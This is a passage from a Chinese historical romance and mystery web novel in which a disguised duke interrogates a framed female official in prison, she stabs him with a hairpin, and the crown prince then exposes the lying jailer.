谢循掌心之下的金箔纸稍不留意已被修长的五指屈皱,发出碾踩积雪般的声响。 谢循屏息压抑眉间戾气,话间周圆:“如何去之?姜时愿如今乃是朝中三品,所吧之案皆要由圣人的眼下而过,惊动圣人,得不偿失,左相旭要时某如何去之?” “为一个姜时愿,搭上典狱,是否不值?”谢循不怒自威。 官吏照着左相的原话回到:“国公放心,左相已思虑周全,如今姜时愿被压天牢,人若出事,如何也牵连不至典犹,且天牢之中已有死上安排,事成事败都不政士露半字。” 他抬颌仰视高台之上的谢循,“姜时愿是生是死,皆在魏国公的一念之间。” 认罪则活,不认则死。 官吏侧身让步,“轿撵已在典狱之外备好,还请魏国公移步天牢。” 112、112 官吏却已安排好去往天牢的车撵,卑躬屈膝地再三请谢循移步。 夜风吹拂不平,玄色衣袖猎猎作响,官吏立在典狱门前,看着谢循踩上骄凳,福身之时嘴角尽是得意的笑容,高扬:“一切都有劳魏国公了,下官定会向左相言明魏国公的功劳。” 轿内气氛沉闷压抑,唯有听见车轱辘碾碎砂砾的轻响还有谢循每次隐藏在行驶声之下凛冽的气息。 陆观棋几度欲言,又几度压下。 无乱陆观棋怎么想,也想不出一条绝妙之计,既能安然无恙救出姜时愿,又不会让主君被左相猜疑。 他知晓主君如今的处境,受制于左相,如同棋盘一白子,四面皆被黑棋围剿,生机断绝。 不止陆观棋想不出应对之策,就连谢循也是如此。 一切本是大利之势,左相不知他存活于世还用着母蛊恢复了记忆,也不知他已除去了影子重回魏国公之位,更不知他如今是怀着怎样一颗杀意和谋逆之心蛰伏其下。 本来谢循大可以将计就计,师夷长技以制夷,用着影子的身份反击左相,蛰伏其下,探听虚实。 奈何变故突来,如若他不按左相所言行事,存在妄动和不妥之处,立马会被猜疑,因此而往,左相定然会想到眼前的魏国公怕已然不是他精心培养出来的影子。 一切的埋伏和部署就将功亏一篑。 再次抬眼之时,谢循深黯的眼神中冷蕴无数令人心惊胆颤的杀意,青筋怒张,唤着左相的名字。 他必须要完美无缺地做给左相这只老狐狸看,又要安然无恙地救出阿愿。 “滴——”,水滴落入长满青苔上的石缝之间,只听到一道殷勤谄媚的声音响彻在这幽暗深邃的地牢。 “魏国公和陆案吏小心脚下台阶,下官没想到今日国公能亲临腌攒之地,哎呦,哎呦,国公身上华服昂贵切莫碰上这满强的灰泥。”“国公,今日是为何而来,可是询问姜时愿之案的进展?” 提牢主事,韦江,眼皮压低,眼尾挤出几丝讨好的意味,向谢循—道来此案的进展,说人证、物证皆在,奈何姜时愿迟迟不愿认罪画押,非要一口咬死是嬷嬷自杀。紧接着,韦江又垂着头,万分惶恐地看着谢循:“若非那姜时愿乃是国公手下之人,否则下官早就一顿毒辣的鞭子下去,叫她不招也得招,不然怎会劳烦国公亲自降尊来此,审理此妇人。” 说罢,韦江连忙谢罪,“还请魏国公恕罪!是小的办事不利!” 谁料,话音甫落,韦江就觑见一丝烛火霞光划过令人闻风丧胆的青鬼獠牙面具。 哪怕谢循还未出一声,他已然觉得自己在劫难逃,跪在地上,声泪俱下,把自己家养的老母还正在怀孕的娘子都搬出来保命。 在旁始终默言的陆观棋倒是听出了韦江不少心思,姜时愿如今官居要职,又因破获大案而颇受圣人青睐,要对她动刑,是个人胆子都要抖一抖。韦江沉浮官场多年,最会处处替自己考虑周全,遂才在谢循面前特意点出姜时愿乃是典狱之人,乃是顾忌佛面,才不敢在没有谢循的诏令之下轻易行事。谁料,韦江胆小怕事的性子却阴差阳错下地救了他一命,若对姜时愿动刑,怕是韦氏一家难保。 陆观棋屈膝扶起泪流不止的韦江,嗓音中带着一种令人安心的沉稳,“国公大人自是会体谅韦大人的难处。”闻言,韦江立马抹去鼻涕眼泪,高喊着魏国公天恩,喜笑颜开。 紧接着,韦江又领着谢循下三台阶,拐至验尸房查看嬷嬷的尸体,陆观棋掀开白布,接过韦江的手灯照近,只见嬷嬷胸膛左下临近心脉处有着一道伤口,谢循拿 着扇柄微微挑开伤口,询问到韦江凶器,韦江立马双手呈上一把宽约两指的匕首。 谢循握着刀柄在烛火下仔细端疑,看着刀锋处一道浓郁的血迹,尔后随意地丢在木托之上,问到:“何处发现的?” 韦江哈着腰,回到:“草絮之上,正恰落在嬷嬷的尸身旁,好在发现狱卒赶来及时,姜时愿来不及销毁罪证。” “那位狱卒是否就是韦大人口中的人证?”“是的是的,那名狱卒就是亲眼目睹姜时愿行凶之人。” 陆观棋飞快和谢循对视一眼,而后陆观棋又问到:“可有那名狱卒的口供?”“有有有。”韦江又命手下的官吏取来,将一纸盖着官印的口供递到谢循眼下。 谢循置在几上,腕压指转,一目十行。 纸上,是狱卒的一家之言。 说来春分夜间,姜时愿忽然典狱要提审嬷嬷,因为涉及案件必要便喊他不必跟随。也不知多了多久,只听着金子囚牢传来叫喊,狱卒担心姜司使安危,飞奔赶往,结果却觑见嬷嬷捂着胸口倒地不起,而当时姜时愿神色木讷、杀了人还未缓过神来,刺伤嬷嬷的凶器匕首还被她紧攥在手中。“要不,下官这就把这名狱卒叫来,让他当着国公的面再度陈述一遍事件经过?”韦江道。谢循浸在这张口供之上,眉眼不抬:“不必,本君要提审姜时愿,你且去准备。” 谢循之令,韦江自是不敢耽误,即刻退出验尸房赶去准备。 陆观棋见韦江退下,又遣散一众小吏,如今,验尸房仅留谢循和他二人,他上前双手接过狱卒的口供,浅声道:“主君觉得狱卒有问题,要不属下先去擒住此人?只要能撬开他的嘴,便能证明姜司使无罪。” 谢循淡淡地睇了陆观棋一眼,抬手按在口供之上,察觉到谢循的态度,陆观棋试探地问道:“主君为何阻我?” “你有没有想过,究竟谁在和影子及左相里应外合,共同设计陷害姜时愿?”“主君是说…” “嬷嬷身死之时,本应该锁住她双侧琵琶骨的寒铁铁链均已脱节,这定然不是武功命门全封的嬷嬷能够挣脱的。这说明,有个人早就在阿愿抵达天牢之前就对锁骨链动了手脚,甚至他早已和嬷嬷合谋过陷害阿愿的计划…而狱卒看守百囚,又担着放饭上值,就算他时常在嬷嬷的囚牢前走动也不会引人怀疑,也是他最有可能暗中动手脚。”陆观棋恍然大悟,如果狱卒就是影子手下之人,那谢循就绝不能动此人,或者说,此人绝不该以“魏国公”的身份处置。 谢循眼神有如毒蛇,死死盘延在木托中的凶器之上,他指着刀峰的方向和刀身上血液分布成一线的痕迹:“凶器绝对不是这把匕首。”陆观棋立马拿起匕首,仔细端详,虽然他没有正式学过验尸,但好歹有个深谙仵作之道的弟弟。陆不语常黏在他身边,小嘴如个麻雀般叽叽喳喳,常落得陆观棋耳朵不清净,但久而久之,随着有意无意地耳濡目染,陆观棋也渐渐参悟仵作之学。比如眼下,陆观棋便能瞧出来,虽然嬷嬷身上的伤口并不是这把匕首刺中时所留下的致命伤。 二者虽像,还是有着细微的差别。 再比如,如果匕首真正被刺入胸膛,刀身之上的血迹应呈飞溅状,而不像分布得像水墨一线。 电光火石间,荒唐的想法涌入脑中,陆观棋道:“有人在刻意伪造这把匕首就是凶器!” “会不会是那名狱卒?”“他为何要这么做,伪造凶器对他百害而无一利。” 陆观棋想想也是,狱卒没有必要刻意伪造凶器,编造出越多对他不利的谎言,则越容易让他露出马脚。 “但下官想不出,不是狱卒的话,还能是谁?”陆观棋问到。 谢循其容如玉,唇角微扬,他沉声道:“是阿愿。” “姜司使!”陆观棋实属诧异,又追问道:“姜司使又为何要私藏凶器?” “她会藏,必然是真正的凶器上有着她不是凶手的证据。”谢循笑而不露,温润而含蓄。 陆观棋一语点破,“那岂不是只要姜司使交出簪子,我们就有法子绕开狱卒,去证明她的清白?” 陆观棋的话音落下之后,却看着谢循几息沉默。 良久之后,谢循方才沉声开口。 “可阿愿之所以藏,也是因为她信不过天牢之中的任何人。让她交出真正的凶器,谈何容易?” 牢狱阴冷,墙角渗出的水珠滴落在地。 姜时愿蜷缩在墙角,发间未饰珠钗,青丝如垂落在耳畔,她的脸愈发消瘦,唇色淡如樱瓣。 簪尖寒冷,抵在掌心,刺痛在感,才能让她在三日不曾进食的浑噩之中保持清醒。 她的眸光清澈凝着手上的玉簪,脑中思绪时刻复盘着与嬷嬷相见的场景,如今细细想来,有诸多过于巧合的地方。 那夜是春分,并没有撞上庆国三十二节日,却有人京中点燃爆竹。火树银花在星辰之下爆开,五彩绚烂染了半边天,瞬间的朝霞也映亮铁窗之内的两人。以烟花为号令后,那时嬷嬷的神情倏然大变。也是在瞬息之间,嬷嬷的动作迅捷如豹,飞快从姜时愿的盘发上取下一枚发簪,并攥着姜时愿的手腕连着发簪一起捅向自己的胸 口。 变故太快,直至看着嬷嬷胸前的汨汨不断的鲜血溢出,衣衫殷红大变,再听着从远处长廊处不切时宜响起的脚步声。 嬷嬷刺中心脉,必死无疑,身体在姜时愿愈发睁大的杏眸前直直倒了下去。 藏在袖间多时的匕首也随之“当啷”一声掉落在这寒蝉之地。 恶寒跗骨直上,噔噔噔愈发急切的脚步声逼近。 姜时愿倏然开悟,定是有人在背后搞鬼! 入天牢前,都要被严格搜身的,嬷嬷是如何能藏有匕首的? 又或许,这把匕首,又是谁在嬷嬷入狱后给她的呢? 她看着落在地上的匕首,想起嬷嬷话音哽咽说出的那句,姜时愿,对不起…我不忍伤害你…但是我亦不能放弃暗河的大计…。 如果姜时愿的猜测没错的话。嬷嬷原是打算用这匕首杀了自己。或许是因为自己对明嫩的心意打动了嬷嬷,又或许嬷嬷怕如若自己死了,明奴的后事将无人操办。种种复杂的感情交织之下,嬷嬷才不忍杀了自己,遂没有按着赠她匕首之人要求的原计划行事。但又后怕自己走出天牢,所以反复权衡之下,选择以死暂时钳制住自己。 所以,刹那间,姜时愿便清楚自己已经中了奸人歹计,再劫难逃。 她必须冷静,自救,查出是谁陷害她。 姜时愿连忙捏着帕子取下横插在嬷嬷身上的发簪,又用帕子小心覆盖,藏在草絮之下,又俯身拾起七首,毫不留情地在玉臂上划开一条口子,伪造凶器。 紧接着,她故作惊慌看着狱卒疾步赶来,狱卒看着牢中发生的一切,先是迟疑一瞬,而后大喊,“姜司使,杀人了!杀人了!” 姜时愿看着狱卒,轻声轻语:“原来是你…” 但她又知和自己非亲非故的狱卒绝不会平白无故去冤枉一个朝中三品的官员,这背后定然是有人指使。直至那名狱卒掳走她的青玉,并告诉她妄想从这里出去,并叫嚣地喊出她此生最恨之人的名字,“不妨告诉你,魏国公暗里下令,谁要是承接你的案子便是和他明面上对着干,你说满朝文武有谁敢得罪得起魏国公啊?” 魏国公,谢循…姜时愿恍然大悟。原来这一切都是他设计安排的。夕阳如血,穿过铁窗,扑洒入狱,将她的身影照得孤寂而清冷。倏然,有人打开锁链,哗啦哗啦的声音落地,寒蝉不止。姜时愿看一行官吏走入牢中,看着韦江倨傲地站在她的面前,命人给她双手戴枷锁。“有人要亲自审问姜司使,特命本官带你去见他。” “谁?”姜时愿的字字从紧抿的唇缝之间吐出,话音带着清晰的愠意。 韦江嘲她自不量力,笑她何必多想,去了一切都知道了。 姜时愿被韦江手下的酷吏强行带出牢狱,逼她赤脚走在阴寒潮湿的长廊上,粗鲁地撰着手中的铁链令她走向眼前愈发灯火明亮的房间。 她听着韦江吹着口哨,看起来心情大好,音调徐徐,说着她即将要去的地方乃是刑房。虽然里面的施以酷刑的刑具不比典狱种类繁多,但皆设计残忍,能通过极度□□折磨来惩罚犯人。 韦江阴森的笑声震彻整个长廊,他站在刑房的石门前,拿出姜时愿始终不肯签字画押的认罪。 “姜司使,下官劝你,千万不要敬酒不吃吃罚酒。下官待你还算和善,生怕你有个闪失万一,但这刑房之内的人可就不一样了,他对待像姜司使之类的美人也绝不会心慈手软。” “你可要仔细考虑清楚,莫要白白受一顿皮肉之苦。”韦江命人取来印泥,又将认罪书高举在姜时愿的面前,“画押、签字,我会在那位大人的面前替你开口求情。” 一纸薄薄的纸书遮住女子的五官,薄纸之上的簪花小体甚至完美地模仿出她的笔迹。就差着她认罪画押。 狭长的冷发,拂过长廊,薄薄纸张飘飘。韦江也看清了纸书之后的姜时愿,一双琥珀色的眸子不惧不畏,藏着若有似无的凌厉。“我当还是韦大人苦思冥想出了什么好手段,原来尽是一些意料之中的。”怕?威胁、刑狱,她也经历过数次了… 姜时愿不夹丝毫犹豫,迈入刑房,临了,还美眸斜睨轻佻,嘴角弯出一丝极淡的弧度,“威胁我?韦大人当且自量,都不足以列于前。” 韦江自知被小看,气得咬牙切齿。 火盆中熊熊烈火照亮刑房四周斑驳的影子,这面墙像是禁锢了无数冤魂,壁上坑洼不平,血迹斑驳干涸,就连她的影子投上去也变得扭曲诡谲。她环顾四周看见陈列在四周的刑具,洛铁、皮鞭、钉椅、绞刑架、刀锯、竹夹,听着隔壁刑房传来的遍野哀嚎声。 囚犯凄惨的叫声让姜时愿不禁想至三七,不知三七是否也遭受过如此非人的折磨,她的死亡漫长而又充斥着血肉被绞的痛苦……姜时愿闻之,每一次呼吸都带着感同身受的痛苦,难言的痛楚在她的心上反复碾压。 姜时愿泪意翻涌,却不肯溢出明眸。她也会像三七一样,至死不会屈服于酷刑之上。 此时,她冷然回身,看见刑房之内竟然竖立一座以紫檀木为框木的山水屏风,高约千尺,宽逾万丈。屏面以丝绸为底,金线挑针绘制,勾勒出宛若笔墨般的浓淡,画出若隐若现的山峦和欲图飞出高山之中的青鸟。姜时愿正欲临近观摩,韦江一拉手中的铁链,铁链绷紧桎梏得姜时愿腕子生疼,因此也止住了步子。只见韦江朝着屏风上影影绰绰的影子鞠了一礼,就匆匆遣散四周之人,退出刑房。姜时愿看着映在屏风之上的身影愈发清晰,那人身姿俊朗挺拔,坐在大师椅之上,好似也在透过屏风睥睨着她。想来,他就是韦江口口声声尊称的大人物。姜时愿微扬下颌,话音讥讽,“既然都来了,又何必遮遮掩掩,故弄玄虚?”屏风后传来的声音,如寒泉击石,低沉而清冽,不辨温度。“姜娘子,好久不见,不知饭食否,安寝否?” 饭食否?安寝否? 极像兄长口中一道稀松平常的关切,唯有至亲之人才会关心你的衣食起居、身怕你受寒挨冻。倘若不是这声音寒凉到不藏一丝人情味,姜时愿甚至都以为屏风之后的人当真是在关心自己。 但…她已然知道此人绝不可能这么做,因为他是魏国公,谢循。仇人就是有种难以磨灭的相引之意,因为他何尝不算是你日思夜想之人,又何尝不是你深深刻入骨血至死都不敢忘记之人。哪怕仅是屏风上一道残缺不堪的影子,哪怕是许久未听见的声音…你都能认出他。 他问你饭是否、安寝否,不过是想以你的困难为乐,他巴不得你痛苦凄惨地活着,看你吃着臭糜烂粥卑躬屈膝地活着,看你夜夜不得安睡,深陷恨意、愤怒、不甘的苦海苦苦挣扎。 身为宿敌。他就是想看着你恨不得将他扒皮抽筋,却又始终无能为力,而渐渐被仇恨焚烧、疯魔不活的样子。 “魏国公,好久不见。”姜时愿直言不讳点出他的身份,“不知您饭食否,安寝否?”声音清婉,却是口蜜腹剑,内淬剧毒。丝绸绣面相隔,隔绝出心思截然不同的二人。屏风之后的人好似也没想到姜时愿仅凭一句话就认出了自己,蹉跎犹豫几息,终是缓缓从太师椅起身。姜时愿眸光死死盯着那道绰约的影子,看看他的影子一点点由虚化实,看着玄色锦袍飘出屏框之外,摆动之间,繁复生辉的暗纹划过几丝凌厉的寒光。她听着他腰间悬挂着的玉佩也在他的走动发出清脆的碰撞。她看着,他的狭长寒凉的影子徐徐靠近自己,直至与自己的身影交错,如同古树枝干分出两束两不相见、各自纵身的枝芽。 “承蒙姜娘子的关切,谢某难以安寝、也对口腹之欲毫无兴趣。” “是吗?”姜时愿冷笑,“那下官接着祝魏国公日日茶饭不思,夜夜不得安睡…” “还有一点。“又是他……“主君请说。” 还没等姜时愿说完,忽然修长的五指扣住她的双腮,力道不重不轻,足以令她无法逃脱谢循的桎梏。 姜时愿被迫感受指腹如寒玉般的冷意,被迫仰起头凝视着那具令人心悸的罗刹面具。 罗刹面具,面目狰狞,身形阴翳犹如鬼魅般庞大无形覆盖下来,笼罩住身下女子淡薄清瘦的身形。 这份庞然、可怕的威压和阴暗,完美掩藏住了面具之后的谢循难掩的酸涩心痛。 谢循的动作看似桎梏,实则处处充满翻涌又克制的爱意。 他指尖看似漫不经心地划过她冷白的脸庞,他的声音故作冷漠无情,“几日不见,姜娘子怎么憔悴成了如今的这副样子?” “这正不邃了魏国公的意吗?”姜时愿迎着他凌厉的目光,皮笑肉不笑地道。 谢循心如刀绞,敢在指尖欲起怜惜爱抚之意前,骤然收回手,背过手,独留寒音。 “孤掌难鸣,独木难支。”“这也得多谢姜娘子的成全。” 姜时愿不想再与他扯这些虚虚实实,“魏国公,我们各自不如皆坦率相见一些。” “我如今入狱,想来你也得偿所愿了,是不是?” “姜娘子,此话怎讲?你有几个胆子敢污蔑指控谢某?” 姜时愿冷静陈述,“你当年明知我兄长含有冤情,却依然包庇幕后真凶,甘愿成为那幕后之人的走狗。所以当兄长旧案重启之时,你便慌了,想出来了一条如此拙劣的法子,买通狱卒和嬷嬷上共同上演一计栽赃陷害,目的就是想以牢狱永远将我困在这四方天地之中,让我不得接触我兄长的案子,这样当年的真相就永不会昭雪!” “还请魏国公指教,我说的,对还是不对?” 谢循话音不轻不淡,“姜娘子,谢某已经说过不下数遍,当年的案子是我亲定亲审,姜淳意图谋害燕王,证据确凿。而你,还在一而再再而三攀延无辜之人。” “谢循!”愤怒点燃姜时愿的四肢百骸,“你放心,我一定会从这里光明正大地走出去,我也一定会亲手送你入诏狱!” “姜娘子如今自身难保,却还在痴心妄想。”谢循又道,“不如姜娘子先考虑下自身的安危?” “谢某也不想再与姜娘子多做无谓的口舌争辩。”谢循立在水墨屏风之前,双手负立,转身看着姜时愿,指尖微微蜷紧。 “说吧,刺伤嬷嬷真正的凶器是什么?”“凶器又被你藏在了何处?” 姜时愿的心里猛然一颤,谢循怎么会知道那把用来混淆众人目光的匕首并不是真正的凶器,又怎么会猜出真正的凶器被她藏了起来? 不过,她也由此更加确信,匕首绝对是狱卒有心交给嬷嬷的,不然狱卒也不会不假思索一口咬定指认匕首就是凶器。 但如今再纠结这些已无意义,因为眼前的‘罗刹已然看破她混淆视听的把戏。姜时愿想,罗刹心思缜密,绝不会允许她藏有真正的凶器然后借此翻案,威胁到自己。 所以,怪不得,他会亲临天牢,亲自降尊来审问自己,一是想逼她认罪,二是因为狱卒的纰漏稍有不甚会牵连出他这个幕后之人,他这才逼不得已,走出幕后,为狱卒消除不利的罪证。 眼前之人心如蛇蝎,偏偏又万事周全、滴水不漏。 姜时愿如芒在背,面上故作镇定:“我不知魏国公在说什么?嬷嬷就是用匕首刺向胸口的,匕首就是真正的凶器。” “姜娘子,不要故作聪明了。交出它,谢某才会让你免受皮肉之苦。” 他的话音依然冰冷,却隐隐一丝令人难以察觉的情绪。 她环顾四周的刑具,声音寒凉:“我说没有就是没有,早就听闻魏国公在刑讯方面的盛名,十八狱各种残酷不忍的刑罚皆是你亲手所创,今日我倒是想亲眼看看魏国公如何能让我开口?” “不知魏国公要从哪个刑具先拷问起。”她说着,并挑衅着,目光也游离在可怖的刑具之上,“是浸着盐水的皮鞭、还是火盆之中的洛铁,还是先要将我按在钉床、钉椅之上,感受万千铁针刺入皮肉之痛?” “不如我先替魏国公选?” “要不先从拔甲之刑开始,看我第几个指甲剥离之时,才会屈服于魏国公?” “姜、时、愿。” 谢循一字一字,心火交炙。 阿愿对自己身体的无情,差点令谢循失控。 姜时愿也没想到向来冷静沉稳的谢循被她三言两语轻易激怒,按理说,掌管天下刑狱的上位早该对囚徒的嘴硬死撑习以为常,所以才会以酷刑施治,撬开她们的嘴。 但方才谢循突变的态度,又好似他在极力避免对自己用刑… 姜时愿不知她以自身为筹码,便已轻而易举拿捏住了谢循的七寸。 “怎么?受刑之人还未说什么,施行之人倒是先心慌了?” 她继续嘲讽道,“我还不知魏国公何时生了慈悲之心?”“不是慈悲之心的话,莫不是对我有了怜香惜玉之意?” 谢循再也无法难以自控,猛地逼近,扣住着她的柳腰,连着她的身子一同压至墙底。她的脊背紧贴墙壁,石壁冰凉的寒意跗骨而上,腰上的疼痛也难以让她忽视,更何况谢循的气息近在咫尺,急促而又危迫,压得她几乎喘不过气来。姜时愿一颗心忐忑不安,极力仰着头,和这个罗刹四目相对,仍不肯示弱。目光短兵相接,仿佛是一场无声的博弈,谁也不肯退让半分。 他的手段,并有褪下她眼里的不屈半分。而谢循又拿着深藏恨意的眼眸,无可奈何。 谢循试图一丝能让她慌乱的法子,句句攻心。 “你当真以为你能离开天牢,你可知为何你关进天牢三日之久,无人敢来救你、为你伸冤?” “不妨告诉你,是谢某说,若是想敢对姜娘子施以援手,就是在与谢某为敌。所以你所期待的四处的同僚们,亦或者是交情匪浅的陆不语以及陆观棋,还有大理寺的李奇邃都不敢来救你。” “你还在等着谁?”谢循轻笑道,“难不成是你的夫君,沈浔吗?” 闻之,姜时愿心颤,垂首避开谢循居高临下的审视。 “姜娘子,怎么不回话了?”他的气息轻轻吐在她的耳侧,“难不成你真的在等他?” 眼见姜时愿有了片刻犹豫,谢循借此反败为胜之机,不给姜时愿一丝来得及反驳的时间。 “姜娘子若要做烈女,谢某自然不会拦着,如果撬不动姜娘子的嘴,谢某不妨将这份不如意加诸在你的夫君身上?” 他的嗓音带着戏谑,每一个词都清晰而缓慢,目的就是让姜时愿字字听清。果不其然,他亦把姜时愿逼至悬崖峭壁之上,他听着姜时愿怒火如炽。 “谢循!你无耻!你胆敢对我的夫君一跟手指头,你且试试!我定会要你不得好死!” 姜时愿的泪意涌出,她已经失去了三七、兄长,她不能再失去任何一个至亲之人。哪怕她的阿浔是个十恶不赦之徒,她的心也再不能再接受沈浔离她而出,不敢再承受这剜心之痛。 谢循落在她腰上的手力道欲重,字字剜心,“沈浔是典狱之人,谢某大可以随便安个罪名,肆意折磨。” 二人一同煎熬,一同感受以心爱之人相逼的痛楚。字字如刀,直刺人心。 一人早已痛不能言,梨花带雨,而令一人却仍然披上冷漠无情的外壳,说着最令人痛恨的话。 “姜娘子,你猜典狱十八层,他能坚持到第几层,是能坚持到拔舌之狱,还是刀锯之狱?”“等你从天牢离开之时,还能再看见他吗?” “谢循,你杀了我吧,你不是一直想看着我死吗?!” 哪怕已然遍体鳞伤,二人依旧苦苦强撑,逼得对方一人先行服软,结束这场煎熬。 刑房内一片死寂,心碎窒息的呼吸彼此交缠。烛火堙堙近灭,渐渐微弱,二人相融为一体的影子逐渐越来越淡,也将这漫长的沉寂拉得更深… 女子的泪水不可遏制地顺着脸颊淌下,滴落在他的手背之上。 谢循知晓,在这场攻心之计终究是他占据上风,但他和阿愿二人,又皆不是赢家。他轻叹着,又觉如释重负,又觉痛不欲生。 他松开桎梏,看着阿愿身子软下去,双手撑在地上,刀削如骨的双肩亦跟着微微颤着,泪意不止。 谢循背过身去,神情满是不忍:“姜娘子,可想好了?谢某的耐心可不多了。” 跪在地上的女子双眸擒慢泪水,扬起蝽首,眼角的泪痕清晰可见。 她的声音如若这烛火一般微弱,一朝即灭,“不要伤害沈浔…我告诉你…还烦请魏国公侧耳听之。” 姜时愿看着谢循长身玉立、站在她面前,威逼着她快说。她唇翕微张,接连说出几个呢喃不清的句子,又见谢循单跪在她的面前,逼她再说一次。 她贴身靠近此生最恨之人的怀中,毫无血色的樱唇抵在他的耳畔,吐出幽兰之气的同时,眼神倏然狠厉。 “既然我走不出这天牢,谢循,你也休想。” 姜时愿笑着,一把取下发髻间的玉簪,三千青丝失去桎梏,墨发飘然,垂荡着的鬓发甚至如丝绸般顺滑拂过谢循膝上的掌心。 药香暗浮,温香软玉依在谢循的怀里,却暗藏蕴藏杀机。她稳稳地握着玉簪,目光也如刀,直直刺入谢循的胸膛。 “不如我们一起死在这里,黄泉之下,结伴而行,三生三世,不死不休.…” 簪身刺入的地方不断有汨汨不断的鲜血流出。 也在被血腥气包夹的同时,一味只在雪后初晴的幽韵梅香,似有似无,萦绕在她的鼻尖。 梅香入鼻,姜时愿气息微怔…… 她的瞳孔微怔,她竟然在谢循的怀中闻到一丝熟悉的冷梅香。这如薄雾般轻盈的味道,她曾无数遍在她心爱之人,沈浔的身上闻到。 而如今这熟悉的冷梅香,又荒唐戏谑般地出现在了谢循身上。 113、113 梅香,冷香幽幽,像是梅枝轻颤抖下来的雪味。 看着谢循罗衫殷红,她的心中却没有得手的痛快,反而看见他的压抑的痛苦更起内疚、酸涩之意,仿佛她犯了大错。 可不该是这样,眼前之人是她无数次恨不得千刀万剐的奸臣,她乃是替天行道,她应将他的剁下的血肉化作自己复仇的燃料… 可姜时愿的心却从未这么乱过… 从闻到冷梅香那一刻,她便乱了、慌了,就连握着簪身的手也在发颤。 仅差一丝一厘,簪尖就会刺穿心脉,谢循就会必死无疑。 可偏偏是在这最关键时候,她筋脉拘挛,四肢若缚,力不从心。 姜时愿青丝飞扬,梨花沾雨,泪湿罗衫,盯着罗刹之面,唇微颤而未语。 阿浔,二字,她扼着喉间,盼在唇齿。 谢循看着阿愿柔荑初露,五指宛若莲般轻舒,似怜爱状地抚摸上他的面具,她的指腹点在青鬼的粗眉之上。 他感觉到阿愿指尖微动,似有不好的预感。他未管即将插入他心脉的簪身,而是转而扼住姜时愿欲作乱解开面具的右手,力气甚大,强迫她移开。 此刻,他们再次四目相接,刑房之内归于沉寂,好似在等着对方先开口。 倏然,石门开移的声音扰乱了二人的心绪,只听着韦江一句慌乱又略显迟疑的“魏国公” 谢循飞快地拔出玉簪,忽然俯身揽姜时愿入怀,温香软玉撞了满怀,落在她腰间的大掌强硬有力,令她的挣扎显得若有若无。男子清隽精瘦的身形完完全全罩住怀中的女子,谢循下颌抵在她的颈窝,温热虚弱的气息临在她的耳畔:“姜娘子,很可惜,是不是?”“分明仅差一点就可以要了谢某的命。” 姜时愿被迫抵在他仍在汩汩流血的胸膛,听着似笑非笑的声音。 而谢循也在此时悄悄把玉簪藏入袖中。 “魏国公….太子殿下亲临…” 眼前之景太过于震撼,韦江怔了,都忘了后面半句话,就这般痴痴地看着眼前的男女姿势亲昵,逾矩地相拥在一起。魏国公不是说审讯犯人吗?咋转眼就干柴烈火地抱在一起了呢? 温热的血顺着指尖悄然淌下,谢循将手微藏于身后,冷眼觑向韦江,话音让人不寒而栗:“滚。” 韦江仍是愣了一晌,而后大彻大悟自己坏了魏国公的好事,巴巴地说着魏国公恕罪,木木地退出刑房,又差点与赶来的陆观棋撞个满怀。 韦江前脚网退刑房,陆观棋后脚偏偏来迟,一眼就觑见青砖之上零星的血渍,又与谢循眼神相通,大致已经推敲了此刑房中发生了何事。倘若魏国公遇刺的消息传出,圣人必将勃然大怒,到时姜时愿不死也得扒层皮…. 陆观棋赶紧先把仍未回过神的姜时愿送回牢中,再命人严加看管,又快步返回刑房,看着来人是陆观棋,谢循方才松下心神,无力地撑扶在地上,鲜血顺着指缝不断地流下,而他却急促着陆观棋销毁血迹和确保无人知晓他遇刺之事,而非先行医治自己的伤势。陆观棋在两难之间抉择,最终还是选择听从魏国公之令。 等一切收尾,已过了一炷香的时间,谢循软在太师椅上冷汗淋漓、喉结轻滚,而陆观棋却因此事不得闹得太过张扬,只从韦江的手里骗来些白布。 陆观棋一边剪开谢循浸血的玄衣,撕开与皮肉凝结一体的衣料,为谢循先行简单包扎伤口,边跟他交代。 “亏得主君早有预谋,在离开典狱之时就派袁黎前去东宫送信,太子殿下已在约定之时赶来,只是主君当真有十足的把握救出姜司使吗?” 谢循将带着血迹的玉簪递给陆观棋,嗓音喑哑:“交给殿下。” 陆观棋双手接过证物,最终这件证物呈到了太子祁钰的手上。 祁钰坐于案前,一双月牙似的笑眼微弯,打量着堂下的狱卒,命他把目睹姜时愿行凶之事再次陈述一遍。 狱卒如芒在背,把口供之上的话,再度搬了一遍。 “你说你乃亲眼所见姜时愿是用木托上的这把七首刺向嬷嬷。”祁钰言简意赅,字字切中要害,又接着把翡翠玉簪丢在他的面前,“那你又如何解释这簪子?” “本宫已经找典狱四处的陆大人核实过,这簪子才是真正杀死的嬷嬷的凶器,而非匕首。而且细看簪尾的流苏部分,本应缀着的粉珠流苏如今残缺不整,珠玉不圆,你可知这是为何?” 闻言狱卒身躯一怔,又听着祁钰命人将嬷嬷的尸身抬来,官吏强硬掰开嬷嬷已经发僵的掌心,又令狱卒仔细瞧瞧嬷嬷的指腹。 摇曳的烛光下,细闪的珠粉熠熠发光,引得众人侧目。 韦江拿着玉簪流苏尾部几颗残存的嫩粉珍珠去对比嬷嬷指腹上的珠粉,无论是色泽、质地,皆是一致的。 这则有力地说明嬷嬷曾握过此簪,甚至因为力道过大,不慎握碎了几颗粉珠,也因此少许珠粉才会残留在其指腹上。 韦江已然感觉到自己被这个心思诡谲的狱卒耍了,立马遣人拖狱卒下去施以酷刑,看他嘴里嘴里还有没有一句实话。 狱卒顿时慌了,看着谢循移步入内,立马磕头求魏国公救他一命,他见谢循目光在他身上留恋半许,还以为一条船上的谢循起了庇护之意。 谁料谢循却俯身撸走了他腰上的青玉。 谢循摸着玉坠上雕刻凸起的 沈’字,神色微暗。 初次圆房时,他害怕自己的身份,难以自控,也怕阿愿离开自己,所以选择了近乎极端的方式想要拉着阿愿一起沉沦,仿佛只有回归了最原始的肉欲,二人才能冲破桎梏消除隔阂,你中有我,我中有你,密不可分。那夜他差点违背了阿愿的意愿与感受。事后,谢循抵住她的耳珠,不停地说着他下次再也不这般失控了,问阿愿要怎样才肯消气,说哪怕叫他割一块心头肉下来,只要阿愿能消气,他也愿意。阿愿自然不会允他这般伤己的赔罪之法,遂要他从不离身的青玉赔罪。 谢循仍然记得,这枚青玉送给阿愿之后,她便以红绳未引戴在脖子上,从不离身。没想到如今却在狱卒的手中。 “魏国公,魏国公,救我,求您,您知道的,小的对您忠心耿耿,从没有二志。”狱卒心念着,自己分明都是按着“魏国公’的吩咐办的,在姜时愿抵达金子囚之前悄悄截断一截嬷的锁骨链,并给嬷嬷递之匕首叫她杀了姜时愿。 